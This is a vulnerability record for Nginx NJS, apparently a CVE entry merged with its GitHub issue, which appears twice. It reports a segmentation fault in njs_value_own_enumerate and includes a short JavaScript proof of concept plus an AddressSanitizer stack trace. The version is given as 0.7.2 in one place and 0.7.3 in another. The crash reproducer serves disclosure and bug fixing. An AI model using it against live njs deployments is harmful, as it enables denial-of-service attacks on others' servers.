Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_value_own_enumerate at src/njs_value.c.
cpe:2.3:a:nginx:njs:0.7.2:*:*:*:*:*:*:*
6BD0BCE5-65F7-4B13-BD30-E80964201D0C
OR
# Environment
OS : Linux leanderwang-LC2 5.13.0-30-generic https://github.com/nginx/njs/issues/33 SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.3
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"

# PoC
```js
function main() {
        var empty_arr = {};
        var arr1 = [empty_arr];
        var arr2 = new Uint8Array();
        arr2.__proto__ = arr1;
        var arr3 = arr2.splice(..."bigint");
        Promise.valueOf = arr3;
        var v9 = Array(0x20000000000000);
}
main();
```

# Stack dump

```bash
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2523460==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x555b64452f1c bp 0x7ffdcdd97650 sp 0x7ffdcdd97520 T0)
==2523460==The signal is caused by a READ memory access.
==2523460==Hint: address points to the zero page.
    #0 0x555b64452f1b in njs_value_own_enumerate src/njs_value.c:240
    #1 0x555b6448d019 in njs_object_traverse src/njs_object.c:1230
    #2 0x555b644df091 in njs_builtin_match_native_function src/njs_builtin.c:726
    #3 0x555b644d26cb in njs_add_backtrace_entry src/njs_error.c:1309
    #4 0x555b644d26cb in njs_error_stack_new src/njs_error.c:102
    #5 0x555b644d26cb in njs_error_stack_attach src/njs_error.c:161
    #6 0x555b6446455e in njs_vmcode_interpreter src/njs_vmcode.c:985
    #7 0x555b644bbaba in njs_function_lambda_call src/njs_function.c:703
    #8 0x555b644620fb in njs_vmcode_interpreter src/njs_vmcode.c:788
    #9 0x555b6445c0ba in njs_vm_start src/njs_vm.c:553
    #10 0x555b644453f8 in njs_process_script src/njs_shell.c:890
    #11 0x555b64445ebf in njs_process_file src/njs_shell.c:619
    #12 0x555b6444721f in main src/njs_shell.c:303
    #13 0x7f301e32b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
    #14 0x555b64442c4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/njs_value.c:240 in njs_value_own_enumerate
==2523460==ABORTING

```

# Credit
xmzyshypnc(@xmzyshypnc) and P1umer(@P1umer)
SEGV src/njs_value.c:240 in njs_value_own_enumerate
This is a GitHub Issue
repo:njs
owner:nginx
Title : SEGV src/njs_value.c:240 in njs_value_own_enumerate
Issue date:

--- start body ---
# Environment
OS : Linux leanderwang-LC2 5.13.0-30-generic https://github.com/nginx/njs/issues/33 SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.3
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"

# PoC
```js
function main() {
        var empty_arr = {};
        var arr1 = [empty_arr];
        var arr2 = new Uint8Array();
        arr2.__proto__ = arr1;
        var arr3 = arr2.splice(..."bigint");
        Promise.valueOf = arr3;
        var v9 = Array(0x20000000000000);
}
main();
```

# Stack dump

```bash
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2523460==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x555b64452f1c bp 0x7ffdcdd97650 sp 0x7ffdcdd97520 T0)
==2523460==The signal is caused by a READ memory access.
==2523460==Hint: address points to the zero page.
    #0 0x555b64452f1b in njs_value_own_enumerate src/njs_value.c:240
    #1 0x555b6448d019 in njs_object_traverse src/njs_object.c:1230
    #2 0x555b644df091 in njs_builtin_match_native_function src/njs_builtin.c:726
    #3 0x555b644d26cb in njs_add_backtrace_entry src/njs_error.c:1309
    #4 0x555b644d26cb in njs_error_stack_new src/njs_error.c:102
    #5 0x555b644d26cb in njs_error_stack_attach src/njs_error.c:161
    #6 0x555b6446455e in njs_vmcode_interpreter src/njs_vmcode.c:985
    #7 0x555b644bbaba in njs_function_lambda_call src/njs_function.c:703
    #8 0x555b644620fb in njs_vmcode_interpreter src/njs_vmcode.c:788
    #9 0x555b6445c0ba in njs_vm_start src/njs_vm.c:553
    #10 0x555b644453f8 in njs_process_script src/njs_shell.c:890
    #11 0x555b64445ebf in njs_process_file src/njs_shell.c:619
    #12 0x555b6444721f in main src/njs_shell.c:303
    #13 0x7f301e32b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
    #14 0x555b64442c4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/njs_value.c:240 in njs_value_own_enumerate
==2523460==ABORTING

```

# Credit
xmzyshypnc(@xmzyshypnc) and P1umer(@P1umer)
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comments :
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